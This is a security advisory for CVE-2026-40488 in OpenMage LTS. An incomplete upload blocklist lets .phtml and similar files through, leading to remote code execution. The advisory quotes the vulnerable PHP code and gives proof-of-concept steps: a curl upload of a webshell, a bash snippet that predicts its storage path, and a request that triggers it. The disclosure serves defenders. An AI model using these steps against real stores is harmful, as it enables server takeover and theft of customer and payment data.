GitHub Advisoryadvisory · Packagist

GHSA-3j5q-7q7h-2hhv OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution

HIGH Published 2026-04-21 Modified 2026-04-27 Official page ↗
Aliases
CVE-2026-40488
Ecosystem
Packagist
Packages
openmage/magento-lts
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-434
Reviewed
2026-04-21

Affected packages

• Packagist openmage/magento-lts: < 20.17.0 → fixed in 20.17.0

Description

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. Affected Version • Project: OpenMage/magento-lts • Vulnerable File: `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php` • Vulnerable Lines: 230-237 (`_validateUploadedFile()`) • Configuration: `app/code/core/Mage/Catalog/etc/config.xml:824` Root Cause The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only: ```xml php,exe ``` This misses the comprehensive `protected_extensions` blocklist defined elsewhere: ```xml php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, htm, html, pht, phtml, shtml ``` Vulnerable Code ```php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237 $_allowed = $this->_parseExtensionsString($option->getFileExtension()); if ($_allowed !== null) { $upload->addValidator('Extension', false, $_allowed); } else { $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions')); if ($_forbidden !== null) { $upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe! } } ``` Steps to Reproduce 1. Environment Setup Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler) 2. Exploitation ```bash Upload .phtml (bypasses blocklist) curl -X POST "https://target.com/vulnerable_upload.php" \ -F "[email protected];filename=shell.phtml" ``` Result: 3. Code Execution OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls: Subdirectory — `getDispretionPath($filename)` takes the first two characters of the uploaded filename and uses them as nested directory names: ``` filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/ ``` Filename — `md5(file_get_contents($tmp_name))` is computed over the raw bytes of the uploaded payload (`File.php:245`): ```php // app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245 $fileHash = md5(file_get_contents($fileInfo['tmp_name'])); $filePath = $dispersion . DS . $fileHash . '.' . $extension; ``` Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed: ```bash SHELL_CONTENT='\n' HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1) PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h ```bash curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml" ``` Result: RCE Confirmed Affected Deployments | Configuration | Status | |---------------|--------| | Apache + mod_php (with `php_flag engine 0`) | SAFE | | Apache + PHP-FPM | VULNERABLE | | Nginx (reference hardened config) | SAFE | | Nginx (generic config with .phtml→FPM) | VULNERABLE | Impact 1. Remote Code Execution: Full server compromise through webshell upload 2. Data Exfiltration: Access to database credentials, customer PII, payment data 3. Lateral Movement: Pivot to internal infrastructure 4. Supply Chain: Inject malicious code into served content

Related

Alias · CVE (1)

  • CVE-2026-40488 Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition… vulnerability

Weakness · CWE (1)

  • CWE-434 Unrestricted Upload of File with Dangerous Type weakness

References